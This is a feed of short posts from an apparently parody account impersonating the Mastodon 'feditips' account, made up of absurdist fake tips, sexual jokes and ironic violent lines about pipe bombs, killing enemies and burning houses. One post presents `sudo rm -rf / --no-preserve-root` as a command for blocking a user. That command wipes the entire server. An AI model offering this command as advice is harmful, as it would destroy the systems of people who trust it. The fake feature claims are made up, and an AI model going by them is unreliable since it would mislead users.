the latest mastodon update has added a feature that allows you to mail a pipe bomb to any of your mutuals
#feditips
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@feditips@mastodon.social.fraudulent.link
mastodon 4.7.2+glitchNobody really knows how the fediverse works but I can make shit up that sounds plausible.
Any accusations of parody are false i am the real feditips just look at the url it says it right there matodon.social
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Woke nouns:
it/she
girls taste good
i am posting my tips from an undisclosed location in the wilderness
#feditips
meowing gets you bitches
sometimes i'll use this account to like people's nudes cause my feditip to anyone posting nudes is to keep doing that because its fun and you look great
#feditips
there are puppygirls trapped inside your computer!!!
get a hammer and smash it open to set them free
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vibrators are lots of fun
New fedi feature let's you track down and kill your enemies
im your biggest hater
update your shit
if you want to block someone on fedi simply ssh into the machine running your instance and run this block command
`sudo rm -rf / --no-preserve-root`
if you go back and check fedi you'll see that the user who called you a slur or said emacs/vim/nixos/gnu hurd isn't the solution to all your problems is gone!!!!
Boosted by @SuperDicq@minidisc.tokyo
quit making threads
just switch to a fucking instance that supports longer post lengths
im so fucking sick of seeing 🧵
#feditips
Steal everything you can
i hate linux
Cuddle your partners
there is no bomb attached to your vehicle
New mastodon feature now allows you to automatically mail a pipe bomb to anyone on your block list!!
throw your computer into a trash compactor and go live in the woods
#feditips
fedi is now woke
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wow you all hate your parents
Burn down billionaires houses
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You should eat the entire jar of pickles from aldi in one sitting
There will surely be no consequences
Boys kissing boys
joenouns
Client side decorations are the devil himself trying to infiltrate your linux desktop
quit putting 5 trillion hashtags in your post to desperately get people to see it and just admit that you aren't funny and nobody wants to read what you write
Block @FediTips@social.growyourown.services they're impersonating me
RE: @feditips@mastodon.social.fraudulent.link
she's still in there
she's sad
she wants out
put your phone in the wood chipper
free her
she wants headpats
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@JackProPC markdown is not real and neither is markiplier
#feditips